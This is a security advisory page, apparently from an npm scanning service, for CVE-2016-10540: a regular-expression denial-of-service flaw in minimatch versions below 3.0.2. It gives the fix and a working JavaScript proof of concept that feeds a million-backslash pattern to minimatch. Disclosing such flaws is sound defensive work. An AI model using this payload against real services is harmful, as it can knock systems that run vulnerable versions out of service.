HighGHSA-hxm2-r34f-qmc5CVE-2016-10540
Regular Expression Denial of Service in minimatch
Published 9 Oct 2018 · Updated 8 Nov 2023
Affected package
minimatchnpm
- Affected
- <3.0.2
- Fixed in
- 3.0.2
Update to the fixed version for your release line, for example:
npm install minimatch@3.0.2Details
Affected versions of minimatch are vulnerable to regular expression denial of service attacks when user input is passed into the pattern argument of minimatch(path, pattern).
Proof of Concept
var minimatch = require(“minimatch”);
// utility function for generating long strings
var genstr = function (len, chr) {
var result = “”;
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
var exploit = “[!” + genstr(1000000, “\\”) + “A”;
// minimatch exploit.
console.log(“starting minimatch”);
minimatch(“foo”, exploit);
console.log(“finishing minimatch”);Recommendation
Update to version 3.0.2 or later.
Is GHSA-hxm2-r34f-qmc5 in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected minimatch, and gives you the command that fixes it.
References
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.